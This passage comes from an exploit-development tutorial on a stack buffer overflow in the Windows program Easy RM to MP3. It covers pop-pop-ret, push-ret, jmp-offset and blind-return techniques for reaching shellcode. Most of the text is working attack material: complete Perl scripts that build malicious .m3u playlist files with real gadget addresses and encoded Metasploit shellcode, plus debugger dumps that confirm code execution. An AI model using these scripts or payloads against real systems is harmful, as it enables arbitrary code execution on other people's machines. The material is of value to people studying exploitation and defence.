    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
    "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
    "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
    "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
    "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
    "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
    "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
    "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
    "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
    "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
    "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
    "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
    "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
    "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
    "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
    
    open($FILE,">$file");
    print $FILE $junk.$eip.$prependesp.$shellcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

<img src='img/Temp2_2947.png' width='226' height='220' alt='image' />

pwned \!

### pop ret

As explained above, In the Easy RM to MP3 example, we have been able to tweak
our buffer so ESP pointed directly at our shellcode. But what if the shellcode
begins at an offset of the shellcode ? What if for example the shellcode
begins at ESP+8 ?

We know that, in theory, pop ret is only usabled when ESP+offset already
contains the address pointing to the shellcode… If that is not the case \(and
it is more often not the case than it is the case\), then there may be a way
around it.

Let’s build a test case. We know that we need 26094 bytes before overwriting
EIP, and that we need 4 more bytes before we are at the stack address where
ESP points at \(in my case, this is 0×000ff730\). In order to simulate that
the shellcode only begins at ESP+8, we’ll craft a special buffer that looks
like this :

26094 A’s, 4 XXXX’s \(to end up where ESP points at\), then a break, 7 NOP’s,
a break, and more NOP’s. Let’s pretend the shellcode begins at the second
break. The goal is to make a jump over the first break, right to the second
break \(which is at ESP+8 bytes = 0×000ff738\).

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    my $eip = "BBBB"; #overwrite EIP
    my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
    my $shellcode = "\xcc"; #first break
    $shellcode = $shellcode . "\x90" x 7;  #add 7 more bytes
    $shellcode = $shellcode . "\xcc"; #second break
    $shellcode = $shellcode . "\x90" x 500;  #real shellcode
    open($FILE,">$file");
    print $FILE $junk.$eip.$prependesp.$shellcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

Let’s look at the stack :

Application crashed because of the buffer overflow. We’ve overwritten EIP with
“BBBB”. ESP points at 000ff730 \(which starts with the first break\), then 7
NOP’s, and then we see the second break, which really is the begin of our
shellcode \(and sits at address 0×000ff738\).

[code]

    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa
    eip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  **cc** 90 90 90 90 90 90 90-**cc** 90 90 90 90 90 90 90  ................
    000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    
    0:000> d 000ff738
    000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    
[/code]

The goal is to get the value of ESP+8 into EIP \(and to craft this value so it
jumps to the shellcode\). We’ll use the pop ret technique + address of jmp esp
to accomplish this.

One POP instruction will take 4 bytes off the top of the stack. So the stack
pointer would then point at 000ff734. Running another pop instruction would
take 4 more bytes off the top of the stack. ESP would then point to 000ff738.
When we a “ret” instruction is performed, the value at the current address of
ESP is put in EIP. So if the value at 000ff738 contains the address of a jmp
esp instruction, then that is what EIP would do. The buffer after 000ff738
must then contains our shellcode.

We need to find the pop,pop,ret instruction sequence somewhere, and overwrite
EIP with the address of the first part of the instruction sequence, and we
must set ESP+8 to the address of jmp esp, followed by the shellcode itself.

First of all, we need to know the opcode for pop pop ret. We’ll use the
assemble functionality in windbg to get the opcodes :

[code]

    0:000> **a**
    7c90120e **pop eax**
    pop eax
    7c90120f **pop ebp**
    pop ebp
    7c901210 **ret**
    ret
    7c901211 
    
    0:000> u 7c90120e
    ntdll!DbgBreakPoint:
    7c90120e 58              pop     eax
    7c90120f 5d              pop     ebp
    7c901210 c3              ret
    7c901211 ffcc            dec     esp
    7c901213 c3              ret
    7c901214 8bff            mov     edi,edi
    7c901216 8b442404        mov     eax,dword ptr [esp+4]
    7c90121a cc              int     3
    
[/code]

so the pop pop ret opcode is 0×58,0×5d,0xc3

Of course, you can pop to other registers as well. These are some other
available pop opcodes :

**pop register**| **opcode**  
---|---  
pop eax | 58   
pop ebx | 5b   
pop ecx | 59   
pop edx | 5a   
pop esi | 5e   
pop ebp | 5d   
Now we need to find this sequence in one of the available dll’s. In part 1 of
the tutorial we have spoken about application dll’s versus OS dll’s. I guess
it’s recommended to use application dll’s because that would increase the
chances on building a reliable exploit across windows platforms/versions… But
you still need to make sure the dll’s use the same base addresses every time.
Sometimes, the dll’s get rebased and in that scenario it could be better to
use one of the os dll’s \(user32.dll or kernel32.dll for example\)

Open Easy RM to MP3 \(don’t open a file or anything\) and then attach windbg
to the running process.

Windbg will show the loaded modules, both OS modules and application modules.
\(Look at the top of the windbg output, and find the lines that start with
ModLoad\).

These are a couple of application dll’s

[code]

    ModLoad: **00ce0000 00d7f000**   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
    ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
    ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
    ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
    
[/code]

> you can show the image base of a dll by running dumpbin.exe \(from Visual
> Studio\) with parameter /headers against the dll. This will allow you to
> define the lower and upper address for searches.
You should try to avoid using addresses that contain null bytes \(because it
would make the exploit harder… not impossible, just harder.\)

A search in MSRMCcodec00.dll gives us some results :

[code]

    0:014> s 01a90000 l 01b01000 58 5d c3
    01ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..
    01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l
    01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........
    
[/code]

Ok, we can jump to ESP+8 now. In that location we need to put the address to
jmp esp \(because, as explained before, the ret instruction will take the
address from that location and put it in EIP. At that point, the ESP address
will point to our shellcode which is located right after the jmp esp address…
so what we really want at that point is a jmp esp\)

From part 1 of the tutorial, we have learned that 0×01ccf23a refers to jmp
esp.

Ok, let’s go back to our perl script and replace the “BBBB” \(used to
overwrite EIP with\) with one of the 3 pop,pop,ret addresses, followed by 8
bytes \(NOP\) \(to simulate that the shellcode is 8 bytes off from the top of
the stack\), then the jmp esp address, and then the shellcode.

The buffer will look like this :

[code]

    [AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
       26094 A's         EIP           8 bytes offset          JMP ESP
                      (=POPPOPRET)
    
[/code]

The entire exploit flow will look like this :

1 : EIP is overwritten with POP POP RET. ESP points to begin of 8byte offset
from shellcode

2 : POP POP RET is executed. EIP gets overwritten with 0×01ccf23a. ESP points
to shellcode.

3 : Since EIP is overwritten with address to jmp esp, the second jump is
executed and the shellcode is launched.

[code]

                           ----------------------------------
                           |                                 |(1)
                           |                                 |
                           |       ESP points here (1)       |
                           |       |                         V
    [AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]
       26094 A's         EIP           8 bytes offset          JMP ESP   ^
                      (=POPPOPRET)                                |      | (2)
                                                                  |------|
                                                                         ESP now points here (2)
    
[/code]

We’ll simulate this with a break and some NOP’s as shellcode, so we can see if
our jumps work fine.

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    
    my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
    my $jmpesp = pack('V',0x01ccf23a); #jmp esp
    
    my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
    my $shellcode = "\x90" x 8;  #add more bytes
    $shellcode = $shellcode . $jmpesp;  #address to return via pop pop ret ( = jmp esp)
    $shellcode = $shellcode . "\xcc" . "\x90" x 500;  #real shellcode
    
    open($FILE,">$file");
    print $FILE $junk.$eip.$prependesp.$shellcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

[code]

    (d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)
    eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe
    eip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0xff72b:
    000ff73c cc              int     3
    0:000> d esp
    000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    
[/code]

Cool. that worked. Now let’s replace the NOPs after jmp esp \(ESP+8\) with
real shellcode \(some nops to be sure + shellcode, encoded with alpha\_upper\)
\(execute calc\):

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    
    my $eip = pack('V',0x01ab6a10); #pop pop ret from MSRMfilter01.dll
    my $jmpesp = pack('V',0x01ccf23a); #jmp esp
    
    my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
    my $shellcode = "\x90" x 8;  #add more bytes
    $shellcode = $shellcode . $jmpesp;  #address to return via pop pop ret ( = jmp esp)
    
    $shellcode = $shellcode . "\x90" x 50;  #real shellcode
    # windows/exec - 303 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_upper
    # EXITFUNC=seh, CMD=calc
    $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
    "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
    "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
    "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
    "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
    "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
    "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
    "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
    "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
    "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
    "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
    "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
    "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
    "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
    "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
    
    open($FILE,">$file");
    print $FILE $junk.$eip.$prependesp.$shellcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

<img src='img/Temp2_2946.png' width='292' height='192' alt='image' />

pwned \!

### push return

push ret is somewhat similar to call \[reg\]. If one of the registers is
directly pointing at your shellcode, and if for some reason you cannot use a
jmp \[reg\] to jump to the shellcode, then you could

  * put the address of that register on the stack. It will sit on top of the stack.
  * ret \(which will take that address back from the stack and jump to it\)

In order to make this work, you need to overwrite EIP with the address of a
push \[reg\] + ret sequence in one of the dll’s.

Suppose the shellcode is located directly at ESP. You need to find the opcode
for ‘push esp’ and the opcode for ‘ret’ first

[code]

    0:000> a
    000ff7ae push esp
    push esp
    000ff7af ret
    ret
    
    0:000> u 000ff7ae
    <Unloaded_P32.dll>+0xff79d:
    000ff7ae 54              push    esp
    000ff7af c3              ret
    
[/code]

opcode sequence is 0×54,0xc3

Search for this opcode :

[code]

    0:000> s 01a90000 l 01dff000 54 c3
    01aa57f6  54 c3 90 90 90 90 90 90-90 90 8b 44 24 08 85 c0  T..........D$...
    01b31d88  54 c3 fe ff 85 c0 74 5d-53 8b 5c 24 30 57 8d 4c  T.....t]S.\$0W.L
    01b5cd65  54 c3 8b 87 33 05 00 00-83 f8 06 0f 85 92 01 00  T...3...........
    01b5cf2f  54 c3 8b 4c 24 58 8b c6-5f 5e 5d 5b 64 89 0d 00  T..L$X.._^][d...
    01b5cf44  54 c3 90 90 90 90 90 90-90 90 90 90 8a 81 da 04  T...............
    01bbbb3e  54 c3 8b 4c 24 50 5e 33-c0 5b 64 89 0d 00 00 00  T..L$P^3.[d.....
    01bbbb51  54 c3 90 90 90 90 90 90-90 90 90 90 90 90 90 6a  T..............j
    01bf2aba  54 c3 0c 8b 74 24 20 39-32 73 09 40 83 c2 08 41  T...t$ 92s.@...A
    01c0f6b4  54 c3 b8 0e 00 07 80 8b-4c 24 54 5e 5d 5b 64 89  T.......L$T^][d.
    01c0f6cb  54 c3 90 90 90 64 a1 00-00 00 00 6a ff 68 3b 84  T....d.....j.h;.
    01c692aa  54 c3 90 90 90 90 8b 44-24 04 8b 4c 24 08 8b 54  T......D$..L$..T
    01d35a40  54 c3 c8 3d 10 e4 38 14-7a f9 ce f1 52 15 80 d8  T..=..8.z...R...
    01d4daa7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
    01d55edb  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
    01d649c7  54 c3 9f 4d 68 ce ca 2f-32 f2 d5 df 1b 8f fc 56  T..Mh../2......V
    01d73406  54 c3 d3 2d d3 c3 3a b3-83 c3 ab b6 b2 c3 0a 20  T..-..:........
    01d74526  54 c3 da 4c 3b 43 11 e7-54 c3 cc 36 bb c3 f8 63  T..L;C..T..6...c
    01d7452e  54 c3 cc 36 bb c3 f8 63-3b 44 d8 00 d1 43 f5 f3  T..6...c;D...C..
    01d74b26  54 c3 ca 63 f0 c2 f7 86-77 42 38 98 92 42 7e 1d  T..c....wB8..B~.
    031d3b18  54 c3 f6 ff 54 c3 f6 ff-4f bd f0 ff 00 6c 9f ff  T...T...O....l..
    031d3b1c  54 c3 f6 ff 4f bd f0 ff-00 6c 9f ff 30 ac d6 ff  T...O....l..0...
    
[/code]

Craft your exploit and run :

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    
    my $eip = pack('V',0x01aa57f6); #overwrite EIP with push esp, ret
    
    my $prependesp = "XXXX";  #add 4 bytes so ESP points at beginning of shellcode bytes
    
    my $shellcode = "\x90" x 25;   #start shellcode with some NOPS
    
    # windows/exec - 303 bytes
    # http://www.metasploit.com
    # Encoder: x86/alpha_upper
    # EXITFUNC=seh, CMD=calc
    
    $shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
    "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
    "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
    "\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
    "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
    "\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
    "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
    "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
    "\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
    "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
    "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
    "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
    "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
    "\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
    "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
    
    open($FILE,">$file");
    print $FILE $junk.$eip.$prependesp.$shellcode;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

<img src='img/Temp2_2944.png' width='186' height='165' alt='image' />

pwned again \!

### jmp \[reg\]+\[offset\]

Another technique to overcome the problem that the shellcode begins at an
offset of a register \(ESP in our example\) is by trying to find a jmp \[reg +
offset\] instruction \(and overwriting EIP with the address of that
instruction\). Let’s assume that we need to jump 8 bytes again \(see previous
exercise\). Using the jmp reg+offset technique, we would simply jump over the
8 bytes at the beginning of ESP and land directly at our shellcode.

We need to do 3 things :

  * find the opcode for jmp esp+8h
  * find an address that points to this instruction
  * craft the exploit so it overwrites EIP with this address

Finding the opcode : use windbg :

[code]

    0:014> a
    7c90120e jmp [esp + 8]
    jmp [esp + 8]
    7c901212 
    
    0:014> u 7c90120e
    ntdll!DbgBreakPoint:
    7c90120e ff642408        jmp     dword ptr [esp+8]
    
[/code]

The opcode is ff642408

Now you can search for a dll that has this opcode, and use the address to
overwrite EIP with. In our example, I could not find this exact opcode
anywhere. Of course, you are not limited to looking for jmp \[esp+8\]… you
could also look for values bigger than 8 \(because you control anything above
8… you could easily put some additional NOP's at the beginning of the
shellcode and make the jump into the nop’s…

\(by the way: Opcode for ret is c3. But I’m sure you’ve already figured that
our for yourself\)

### Blind return

This technique is based on the following 2 steps:

  * Overwrite EIP with an address pointing to a ret instruction
  * Hardcode the address of the shellcode at the first 4 bytes of ESP
  * When the ret is execute, the last added 4 bytes \(topmost value\) are popped from the stack and will be put in EIP
  * Exploit jumps to shellcode

So this technique is useful if

  * you cannot point EIP to go a register directly \(because you cannot use jmp or call instructions. \(This means that you need to hardcode the memory address of the start of the shellcode\), but
  * you can control the data at ESP \(at least the first 4 bytes\)

In order to set this up, you need to have the memory address of the shellcode
\(= the address of ESP\). As usual, try to avoid that this address starts with
/ contains null bytes, or you will not be able to load your shellcode behind
EIP. If your shellcode can be put at a location, and this location address
does not contain a null byte, then this would be another working technique.

Find the address of a ‘ret’ instruction in one of the dll’s.

Set the first 4 bytes of the shellcode \(first 4 bytes of ESP\) to the address
where the shellcode begins, and overwrite EIP with the address of the ‘ret’
instruction. From the tests we have done in the first part of this tutorial,
we remember that ESP seems to start at 0x000ff730. Of course this address
could change on different systems, but if you have no other way than
hardcoding addresses, then this is the only thing you can do.

This address contains null byte, so when building the payload, we create a
buffer that looks like this :

\[26094 A’s\]\[address of ret\]\[0x000fff730\]\[shellcode\]

The problem with this example is that the address used to overwrite EIP
contains a null byte. \(= string terminator\), so the shellcode is not put in
ESP. This is a problem, but it may not be a showstopper. Sometimes you can
find your buffer \(look at the first 26094 A’s, not at the ones that are
pushed after overwriting EIP, because they will be unusable because of null
byte\) back at other locations/registers, such as eax, ebx, ecx, etc… In that
case, you could try to put the address of that register as the first 4 bytes
of the shellcode \(at the beginning of ESP, so directly after overwriting
EIP\), and still overwrite EIP with the address of a ‘ret’ instruction.

This is a technique that has a lot of requirements and drawbacks, but it only
requires a “ret” instruction… Anyways, it didn’t really work for Easy RM to
MP3.

### Dealing with small buffers : jumping anywhere with custom jumpcode

We have talked about various ways to make EIP jump to our shellcode. In all
scenario’s, we have had the luxury to be able to put this shellcode in one
piece in the buffer. But what if we see that we don’t have enough space to
host the entire shellcode ?

In our exercise, we have been using 26094 bytes before overwriting EIP, and we
have noticed that ESP points to 26094+4 bytes, and that we have plenty of
space from that point forward. But what if we only had 50 bytes \(ESP ->
ESP+50 bytes\). What if our tests showed that everything that was written
after those 50 bytes were not usable ? 50 bytes for hosting shellcode is not a
lot. So we need to find a way around that. So perhaps we can use the 26094
bytes that were used to trigger the actual overflow.

First, we need to find these 26094 bytes somewhere in memory. If we cannot
find them anywhere, it’s going to be difficult to reference them. In fact, if
we can find these bytes and find out that we have another register pointing
\(or almost pointing\) at these bytes, it may even be quite easy to put our
shellcode in there.

If you run some basic tests against Easy RM to MP3, you will notice that parts
of the 26094 bytes are also visible in the ESP dump :

[code]

    my $file= "test1.m3u";
    my $junk= "A" x 26094;
    my $eip = "BBBB";
    my $preshellcode = "X" x 54;  #let's pretend this is the only space we have available
    my $nop = "\x90" x 230;  #added some nops to visually separate our 54 X's from other data
    
    open($FILE,">$file");
    print $FILE $junk.$eip.$preshellcode.$nop;
    close($FILE);
    print "m3u File Created successfully\n";
    
[/code]

After opening the test1.m3u file, we get this :

[code]

    eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
    eip=42424242 esp=000ff730 ebp=003440c0 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    <Unloaded_P32.dll>+0x42424231:
    42424242 ??              ???
    0:000> d esp
    000ff730  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff740  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff750  58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
    000ff760  58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90  XX..............
    000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff7b0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7e0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff7f0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff800  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff810  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff820  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    0:000> d
    000ff830  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
    000ff840  90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41  .........AAAAAAA
    000ff850  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff860  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff870  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff880  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff890  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    000ff8a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
[/code]

We can see our 50 X’s at ESP. Let’s pretend this is the only space available
for shellcode \(we think\). However, when we look further down the stack, we
can find back A’s starting from address 000ff849 \(=ESP+281\).

When we look at other registers, there’s no trace of X’s or A’s. \(You can
just dump the registers, or look for a number of A’s in memory.

So this is it. We can jump to ESP to execute some code, but we only have 50
bytes to spend on shellcode. We also see other parts of our buffer at a lower
position in the stack… in fact, when we continue to dump the contents of ESP,
we have a huge buffer filled with A’s...

<img src='img/Temp2_2950.png' width='269' height='340' alt='image' />

Luckily there is a way to host the shellcode in the A’s and use the X’s to
jump to the A’s. In order to make this happen, we need a couple of things

  * The position inside the buffer with 26094 A’s that is now part of ESP, at 000ff849 \(“Where do the A’s shown in ESP really start ?\) \(so if we want to put our shellcode inside the A’s, we need to know where exactly it needs to be put\)
  * “Jumpcode” : code that will make the jump from the X’s to the A’s. This code cannot be larger than 50 bytes \(because that’s all we have available directly at ESP\)

We can find the exact position by using guesswork, by using custom patterns,
or by using one of metasploits patterns.

We’ll use one of metasploit’s patterns… we’ll start with a small one \(so if
we are looking at the start of the A’s, then we would not have to work with
large amount of character patterns :-\) \)

Generate a pattern of let’s say 1000 characters, and replace the first 1000
